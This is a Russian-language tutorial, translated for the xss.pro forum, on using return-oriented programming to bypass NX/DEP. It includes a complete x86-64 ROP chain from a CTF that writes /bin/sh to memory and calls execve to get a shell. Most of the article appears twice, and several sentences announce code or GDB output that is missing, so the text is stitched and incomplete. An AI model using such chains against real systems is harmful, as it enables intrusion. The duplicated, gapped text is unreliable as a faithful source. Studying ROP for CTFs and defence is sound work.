ROP расшифровывается как возвратно-ориентированное программирование. В основном он используется для устранения DEP/NX/W^X (предотвращение выполнения данных/запрет выполнения) в процессорах. Разные производители по-разному называют эту конкретную функцию, но идея состоит в том, чтобы пометить определенные области памяти (особенно стек и куча) как неисполняемые. Это приводит к тому, что попытки выполнить инструкции из областей, помеченных как невыполнимые, вызывают исключение (SEGFAULT). Это защищает от общих атак переполнения буфера, которые обычно включают в себя запись некоторого шелл-кода в память (обычно в стек) и перезапись сохраненного указателя возврата или какой-либо другой способ перейти к шелл-коду и выполнить его. Поскольку стек помечен как неисполняемый, шелл-код не выполняется и возникает SEGFAULT.
Формат ELF имеет поле, которое указывает, должен ли стек быть помечен как исполняемый или нет ( -z execstack флаг в gcc отключает NX, делая стек исполняемым). Таким образом, считается, что бит NX установлен.
Биты NX установлены:
Бит NX не установлен:
Двоичный файл с установленным битом NX имеет свой стек и кучу, помеченные как rw-, что означает чтение, запись и не выполнение. В то время как двоичный файл без бита NX имеет стек и кучу, помеченные как rwx, что означает чтение, запись и выполнение. Ваш шелл-код не должен иметь проблем с выполнением здесь!
Использование ROP для обхода средств защиты
Поскольку мы не можем выполнять инструкции из стека/кучи, когда NX включен, мы пытаемся выбрать инструкции, необходимые для достижения нашей цели (обычно для получения оболочки) из бинарного файла или любой из библиотек, которые использует бинарный файл. Эти инструкции являются частью исполняемой памяти программы и должны выполняться нормально.
Общая идея эксплойтов ROP исходит из специфичной для Linux техники эксплуатации, известной как ret2libc(возврат к libc). В этом методе методе, обычно использующем переполнение буфера, сохраненный указатель возврата перезаписывается, чтобы передать выполнение какой-либо функции, присутствующей в libc, например, system() с аргументом /bin/sh для получения оболочки.
ROP-гаджеты
Гаджеты ROP представляют собой небольшие наборы инструкций, которые обычно заканчиваются инструкцией ret. Эти гаджеты объединяются в цепочки ROP. После выполнения гаджет возвращается к следующему гаджету в цепочке. Причина, по которой этот метод называется возвратно-ориентированным программированием, теперь должна быть понятна!
Используйте удобный ropper инструмент прямо из GDB (еще одна функция, предоставляемая GEF , проверьте ее, это потрясающе!), чтобы найти ROP-гаджеты.
Именно из-за этого гаджета появилось название этого блога, а также мой псевдоним. Это выталиквает то, на что в данный момент указывает указатель стека, в регистр RDI, который в соответствии с соглашением о вызовах x64 содержит первый аргумент для вызова функции/системного вызова.
С помощью гаджетов, доступных в бинарном виде, можно делать много творческих вещей.
Вот что интересно о гаджетах: они могут означать разные вещи, когда к ним обращаются с разных смещений!
Пример:
Рассмотрим гаджет на 0x0000000000401b73. Глядя на код операции в этом месте:
Код операции 5F C3в x64 переводится как:
Возвратимся на один байт:
Теперь код операции 41 5F C3в x64 переводится как:
Таким образом, в зависимости от смещения, с которого мы обращаемся к инструкциям, они могут означать разные вещи. Это делает широкий спектр гаджетов доступным для нас для выполнения различных задач. Вот GDB, подтверждающий то же самое:
Цепи ROP
Общая идея цепочки ROP состоит в том, чтобы передать выполнение в начало цепочки, а затем гаджеты, поскольку они заканчиваются инструкцией ret, возвращаются к следующей инструкции в цепочке.
Важно понимать пролог и эпилог функции, чтобы полностью понять работу эксплойта ROP.
Пролог функции
Пролог функции — это несколько строк кода, выполняемых перед выполнением вызываемой функции, чтобы подготовить стек и регистры для использования внутри функции. Обычно это происходит примерно так:
Эпилог функции
Эпилог функции отменяет все действия эпилога функции и возвращает управление вызываемой функции. Типичный эпилог выглядит так:
Инструкция возврата эквивалентна pop eip.
Это цепочка ROP для получения оболочки через execve() системный вызов из старого CTF, над которым я работал:
#### GADGETS ####
# 0x0000000000415664: pop rax; ret;
pop_rax = 0x0000000000415664
# 0x0000000000400686: pop rdi; ret;
pop_rdi = 0x0000000000400686
# 0x00000000004101f3: pop rsi; ret;
pop_rsi = 0x00000000004101f3
# 0x000000000044be16: pop rdx; ret;
pop_rdx = 0x000000000044be16
# 0x000000000048d251: mov qword ptr [rax], rdx; ret;
mov_rax = 0x000000000048d251
# 0x000000000040129c: syscall;
syscall = 0x000000000040129c
#### ROP CHAIN ####
# write /bin/sh to memory
# pop address for the /bin/sh string
# into rax
payload += p64(pop_rax)
payload += p64(0x6bb5e0)
# pop string into rdx
payload += p64(pop_rdx)
# /bin/sh string, null terminated, in hex
# little endian
payload += p64(0x0068732f6e69622f)
# mov string to location pointed to by rax
payload += p64(mov_rax)
# execve syscall
# pop syscall number 0x3B into rax
payload += p64(pop_rax)
payload += p64(0x3B)
# pop address of string into rdi
payload += p64(pop_rdi)
payload += p64(0x6bb5e0)
# pop 0x00 into rsi
payload += p64(pop_rsi)
payload += p64(0x00)
# pop 0x00 into rdx
payload += p64(pop_rdx)
payload += p64(0x00)
# syscall
payload += p64(syscall)
Эта часть записывает строку /bin/sh в память. Расположение 0x6bb5e0в разделе bss казалось довольно безопасным для записи строки. Сохраненный указатель возврата перезаписывается с началом цепочки ROP:
Непосредственно перед возвратом из подпрограммы RSP указывает на начало цепочки ROP (перезаписанный сохраненный указатель возврата).
Значение, указанное RSP, выталкивается в RIP при выполнении ret, а RSP уменьшается на 8.
При выполнении pop rax, на которое указывает RSP, помещается в RAX, а RSP уменьшается на 8.
При выполнении ret из гаджета pop rax адрес следующего гаджета, на который в данный момент указывает RSP, вставляется в RIP, и выполнение продолжается оттуда. RSP уменьшается на 8. Инструкция ret является важной частью.
Продолжая, строка /bin/sh вставляется в регистр RDX, и mov_rax гаджет перемещает qword из регистра RDX в место, на которое указывает регистр RAX. Теперь, когда у нас есть строка в памяти, нам просто нужно вызвать системный вызов, чтобы получить нашу оболочку.
В архитектуре x86-64 номер системного вызова находится в регистре RAX, а аргументы — в RDI, RSI, RDX, R10 и т. д. Проверьте справочную страницу системного вызова для получения полной информации. Номер системного вызова для execve 59 или 0x3B в шестнадцатеричном формате. Вставляем это в RAX:
Первый аргумент — это указатель на строку /bin/sh в памяти, которую мы вставляем в RDI:
Следующие два аргумента равны нулю и, таким образом, выталкивают нулевые байты в регистры RSI и RDX.
Наконец, системный вызов:
Мы достигли цели получить оболочку только с инструкциями, доступными в исполняемой памяти программы, таким образом, победив NX mitigation.
Примеры
Я буду размещать здесь ссылки на интересные описания испытаний CTF, в которых используется ROP, по мере их публикации.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник:
Формат ELF имеет поле, которое указывает, должен ли стек быть помечен как исполняемый или нет ( -z execstack флаг в gcc отключает NX, делая стек исполняемым). Таким образом, считается, что бит NX установлен.
Биты NX установлены:
Бит NX не установлен:
Двоичный файл с установленным битом NX имеет свой стек и кучу, помеченные как rw-, что означает чтение, запись и не выполнение. В то время как двоичный файл без бита NX имеет стек и кучу, помеченные как rwx, что означает чтение, запись и выполнение. Ваш шелл-код не должен иметь проблем с выполнением здесь!
Использование ROP для обхода средств защиты
Поскольку мы не можем выполнять инструкции из стека/кучи, когда NX включен, мы пытаемся выбрать инструкции, необходимые для достижения нашей цели (обычно для получения оболочки) из бинарного файла или любой из библиотек, которые использует бинарный файл. Эти инструкции являются частью исполняемой памяти программы и должны выполняться нормально.
Общая идея эксплойтов ROP исходит из специфичной для Linux техники эксплуатации, известной как ret2libc(возврат к libc). В этом методе методе, обычно использующем переполнение буфера, сохраненный указатель возврата перезаписывается, чтобы передать выполнение какой-либо функции, присутствующей в libc, например, system() с аргументом /bin/sh для получения оболочки.
ROP-гаджеты
Гаджеты ROP представляют собой небольшие наборы инструкций, которые обычно заканчиваются инструкцией ret. Эти гаджеты объединяются в цепочки ROP. После выполнения гаджет возвращается к следующему гаджету в цепочке. Причина, по которой этот метод называется возвратно-ориентированным программированием, теперь должна быть понятна!
Используйте удобный ropper инструмент прямо из GDB (еще одна функция, предоставляемая GEF , проверьте ее, это потрясающе!), чтобы найти ROP-гаджеты.
Именно из-за этого гаджета появилось название этого блога, а также мой псевдоним. Это выталиквает то, на что в данный момент указывает указатель стека, в регистр RDI, который в соответствии с соглашением о вызовах x64 содержит первый аргумент для вызова функции/системного вызова.
С помощью гаджетов, доступных в бинарном виде, можно делать много творческих вещей.
Вот что интересно о гаджетах: они могут означать разные вещи, когда к ним обращаются с разных смещений!
Пример:
Рассмотрим гаджет на 0x0000000000401b73. Глядя на код операции в этом месте:
Код операции 5F C3в x64 переводится как:
Возвратимся на один байт:
Теперь код операции 41 5F C3в x64 переводится как:
Таким образом, в зависимости от смещения, с которого мы обращаемся к инструкциям, они могут означать разные вещи. Это делает широкий спектр гаджетов доступным для нас для выполнения различных задач. Вот GDB, подтверждающий то же самое:
Цепи ROP
Общая идея цепочки ROP состоит в том, чтобы передать выполнение в начало цепочки, а затем гаджеты, поскольку они заканчиваются инструкцией ret, возвращаются к следующей инструкции в цепочке.
Важно понимать пролог и эпилог функции, чтобы полностью понять работу эксплойта ROP.
Пролог функции
Пролог функции — это несколько строк кода, выполняемых перед выполнением вызываемой функции, чтобы подготовить стек и регистры для использования внутри функции. Обычно это происходит примерно так:
Эпилог функции
Эпилог функции отменяет все действия эпилога функции и возвращает управление вызываемой функции. Типичный эпилог выглядит так:
Инструкция возврата эквивалентна pop eip.
Это цепочка ROP для получения оболочки через execve() системный вызов из старого CTF, над которым я работал:
#### GADGETS ####
# 0x0000000000415664: pop rax; ret;
pop_rax = 0x0000000000415664
# 0x0000000000400686: pop rdi; ret;
pop_rdi = 0x0000000000400686
# 0x00000000004101f3: pop rsi; ret;
pop_rsi = 0x00000000004101f3
# 0x000000000044be16: pop rdx; ret;
pop_rdx = 0x000000000044be16
# 0x000000000048d251: mov qword ptr [rax], rdx; ret;
mov_rax = 0x000000000048d251
# 0x000000000040129c: syscall;
syscall = 0x000000000040129c
#### ROP CHAIN ####
# write /bin/sh to memory
# pop address for the /bin/sh string
# into rax
payload += p64(pop_rax)
payload += p64(0x6bb5e0)
# pop string into rdx
payload += p64(pop_rdx)
# /bin/sh string, null terminated, in hex
# little endian
payload += p64(0x0068732f6e69622f)
# mov string to location pointed to by rax
payload += p64(mov_rax)
# execve syscall
# pop syscall number 0x3B into rax
payload += p64(pop_rax)
payload += p64(0x3B)
# pop address of string into rdi
payload += p64(pop_rdi)
payload += p64(0x6bb5e0)
# pop 0x00 into rsi
payload += p64(pop_rsi)
payload += p64(0x00)
# pop 0x00 into rdx
payload += p64(pop_rdx)
payload += p64(0x00)
# syscall
payload += p64(syscall)
Эта часть записывает строку /bin/sh в память. Расположение 0x6bb5e0в разделе bss казалось довольно безопасным для записи строки. Сохраненный указатель возврата перезаписывается с началом цепочки ROP:
Непосредственно перед возвратом из подпрограммы RSP указывает на начало цепочки ROP (перезаписанный сохраненный указатель возврата).
Значение, указанное RSP, выталкивается в RIP при выполнении ret, а RSP уменьшается на 8.
При выполнении pop rax, на которое указывает RSP, помещается в RAX, а RSP уменьшается на 8.
При выполнении ret из гаджета pop rax адрес следующего гаджета, на который в данный момент указывает RSP, вставляется в RIP, и выполнение продолжается оттуда. RSP уменьшается на 8. Инструкция ret является важной частью.
Продолжая, строка /bin/sh вставляется в регистр RDX, и mov_rax гаджет перемещает qword из регистра RDX в место, на которое указывает регистр RAX. Теперь, когда у нас есть строка в памяти, нам просто нужно вызвать системный вызов, чтобы получить нашу оболочку.
В архитектуре x86-64 номер системного вызова находится в регистре RAX, а аргументы — в RDI, RSI, RDX, R10 и т. д. Проверьте справочную страницу системного вызова для получения полной информации. Номер системного вызова для execve 59 или 0x3B в шестнадцатеричном формате. Вставляем это в RAX:
Первый аргумент — это указатель на строку /bin/sh в памяти, которую мы вставляем в RDI:
Следующие два аргумента равны нулю и, таким образом, выталкивают нулевые байты в регистры RSI и RDX.
Наконец, системный вызов:
Мы достигли цели получить оболочку только с инструкциями, доступными в исполняемой памяти программы, таким образом, победив NX mitigation.
Примеры
Я буду размещать здесь ссылки на интересные описания испытаний CTF, в которых используется ROP, по мере их публикации.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: